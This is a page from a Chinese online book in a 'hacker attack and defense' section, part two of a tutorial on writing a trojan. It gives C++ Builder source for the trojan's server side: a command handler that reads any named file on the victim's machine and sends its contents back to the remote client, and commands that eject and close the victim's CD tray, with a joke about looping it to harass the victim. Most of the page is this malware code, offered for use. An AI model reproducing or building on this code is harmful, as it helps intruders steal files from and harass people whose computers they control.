万卷书   首页 > 电脑书籍 > 黑客攻防战 >木马是如何编写的(二)
 
 
   够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{
else if(temp.SubString(0,4)=="type")
{
   //如果前4个字符是“type”
   int Read_Num;
   int number=temp.Length();
   AnsiString File_Name=temp.SubString(6,number-4);
   //将目标文件流存入File_Name变量中
   times_of_try=0;
   while(fp==NULL)
    {
     fp=fopen(File_Name.c_str(),"r");
     //打开目标文件准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
      //如果已试了100次了
       Socket->SendText("Fail By Open File");
       //返回“Fail By Open File”的错误信息
       goto END;
       //跳到END
     }
    }
   AnsiString Return_Text="";
   char temp_content[300];
   for(int i=0;i<300;i++) temp_content[i]='\0';
   //定义一个空数组
   Read_Num=fread(temp_content,1,300,fp);
   //从目标文件中读入前300个字符
   while(Read_Num==300)
    {
     Return_Text=Return_Text+temp_content;
     //Return_Text的内容加上刚才的字符
     for(int i=0;i<300;i++) temp_content[i]='\0';
     Read_Num=fread(temp_content,1,300,fp);
     //重复
    };
   Return_Text=Return_Text+temp_content;
   //Return_Text的内容加上刚才的字符
   fclose(fp);
   //关闭目标文件
   Socket->SendText(Return_Text);
   //返回Return_Text的内容,即你查看文件的内容
}
}

  咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
   //如果收到的temp的内容是“open”
   mciSendString("set cdaudio door open", NULL, 0, NULL);
   //就弹出光驱的托盘
}
else if(temp=="close")
{
   //如果收到的temp的内容是“close”
   mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
   //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}

上一页 下一页